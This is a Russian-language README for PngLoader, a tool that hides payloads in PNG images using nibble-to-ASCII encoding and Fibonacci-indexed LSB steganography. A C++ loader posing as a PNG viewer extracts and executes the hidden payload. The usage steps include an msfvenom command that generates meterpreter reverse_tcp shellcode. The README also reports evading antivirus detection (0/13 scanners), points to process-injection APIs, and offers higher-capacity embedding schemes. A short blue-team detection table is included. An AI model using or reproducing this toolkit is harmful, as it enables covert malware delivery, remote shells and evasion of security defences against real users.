
Скрывает произвольные полезные нагрузки в PNG-изображениях с использованием кодирования полубайтов в ASCII и стеганографии LSB на основе чисел Фибоначчи, с загрузчиком на C++, который извлекает и выполняет встроенные данные.
Отказ от ответственности: Этот проект предназначен только для образовательных целей и авторизованных исследований в области безопасности — тестирования на проникновение, соревнований CTF, учений red team и академического изучения. Не используйте его против систем без явного письменного разрешения.
PngLoader скрывает произвольные данные внутри PNG-изображений с помощью двух слоёв:
# 1. Generate raw test data
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<> LPORT=<> -f raw -o payload.bin
# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt
# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png
# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex
# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PngLoader/
├── 0.Scripts/
│ ├── TransformRawToEncode.py # Nibble-to-ASCII encoder/decoder
│ └── HideEncodeToPicture.py # Fibonacci steganography (embed/extract)
├── 1.Loader/
│ ├── loader_png.cpp # PNG viewer + steganography extractor
│ ├── loader.cpp # Alternate loader (inline buffer)
│ ├── Utils.cpp / Utils.h # ASCII → binary decoder
│ ├── VirtualBuffer.h/.cpp # RAII VirtualAlloc wrapper
│ ├── Hearders.h # Shared Windows includes
│ └── Loader_png.vcxproj # Visual Studio project
├── 2.Payloads/
│ └── clean.png # Sample cover image
└── readme.md
Каждый байт разбивается на два 4-битных полубайта. Каждый полубайт отображается в печатный ASCII-символ путём добавления случайной базы (48, 64 или 96):
Byte 0xFC → high nibble 0xF, low nibble 0xC
High: 48+15=63 '?' | 64+15=79 'O' | 96+15=111 'o'
Low: 48+12=60 '<' | 64+12=76 'L' | 96+12=108 'l'
Декодирование использует свойство по модулю 16 — все три основания кратны 16:
original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)
Случайный выбор базы означает, что один и тот же вход даёт разный выход каждый раз, но декодирование всегда детерминировано.
| База | Диапазон | Символы |
|---|---|---|
| 48 | 48–63 | 0123456789:;<=>? |
| 64 | 64–79 | @ABCDEFGHIJKLMNO |
| 96 | 96–111 | `abcdefghijklmno |
Байты полезной нагрузки размещаются по индексам пикселей в соответствии с последовательностью Фибоначчи (1, 2, 3, 5, 8, 13, 21, …) в развёрнутом массиве пикселей. Это распределяет изменения по всему изображению, а не группирует их.
Упаковка битов — каждый байт разбивается 3/3/2 по младшим битам RGB:
R: bits 7–5 (3 LSBs)
G: bits 4–2 (3 LSBs)
B: bits 1–0 (2 LSBs)
Перенос — когда индексы Фибоначчи превышают количество пикселей, они переносятся по модулю. Коллизии разрешаются линейным пробированием. Терминатор 0x00 обозначает конец данных.
| Размер изображения | Пиксели | Чистая ёмкость |
|---|---|---|
| 640×480 | 307,200 | ~27 байт |
| 1920×1080 | 2,073,600 | ~31 байт |
| 4000×3000 | 12M | ~35 байт |
При включённом переносе максимальная ёмкость = total_pixels − 1.
Загрузчик на C++ (loader_png.cpp) действует как легитимная программа просмотра PNG:
UtilDecryptFileQuoted() (обращение по модулю 16)Последовательность Фибоначчи — лишь один из подходов. Другие стратегии выбора пикселей предлагают иные компромиссы между ёмкостью и безопасностью:
| Алгоритм | Чистая ёмкость (1080p) | Общий ключ | Распределение | Стоимость |
|---|---|---|---|---|
| Fibonacci (реализован) | ~31 байт | Нет | Экспоненциальные промежутки | Минимальная |
| Prime-Index | ~150K байт | Нет | Промежутки n·ln(n) | Умеренная |
| LFSR | ~2M байт | Да (seed) | Псевдослучайное | Минимальная |
| Keyed Permutation | ~2M байт | Да (ключ) | Криптографическое | Высокая |
| Hilbert Curve | Зависит от шага | Нет | Пространственно равномерное | Умеренная |
| Golden Ratio (Weyl) | ~2M байт | Нет | Низкая дисперсия | Минимальная |
Prime-Index — Индексы пикселей являются простыми числами (2, 3, 5, 7, 11…). Простые числа растут как n·ln(n), что даёт гораздо более высокую чистую ёмкость, чем у Фибоначчи.
LFSR — Регистр сдвига с линейной обратной связью максимальной длины порождает псевдослучайную перестановку. Seed выступает в роли общего секрета. Нулевые коллизии на полном периоде.
Keyed Permutation (Fisher-Yates) — Перемешивание всех индексов пикселей с затравкой от CSPRNG. Без ключа позиции неотличимы от случайных.
Hilbert Curve — Обход пикселей вдоль пространственно-заполняющей кривой с заданным шагом. Равномерно распределяет изменения по двумерной области изображения.
Golden Ratio (Weyl Sequence) — pos(n) = floor(n × φ × total) mod total. Даёт максимально равномерное одномерное распределение из возможных. Тривиально вычисляется.
Необработанная полезная нагрузка — 7/13 сканеров обнаруживают её:

После кодирования — 0/13 сканеров обнаруживают её:

Для blue-team / защитников:
| Уровень | Индикатор |
|---|---|
| Статический | Импорты: VirtualAllocEx, WriteProcessMemory, SetThreadContext |
| Изображение | Стегоанализ хи-квадрат по LSB-плоскостям выявляет модификации |
| Поведенческий | Создание приостановленного процесса + удалённая инъекция потока (Sysmon EID 1+8) |
| Кодирование | Символы исключительно из трёх 16-символьных диапазонов ASCII |
Python:
pip install numpy Pillow
Загрузчик на C++:
1.Loader/Loader_png.vcxproj → Сборка Release x64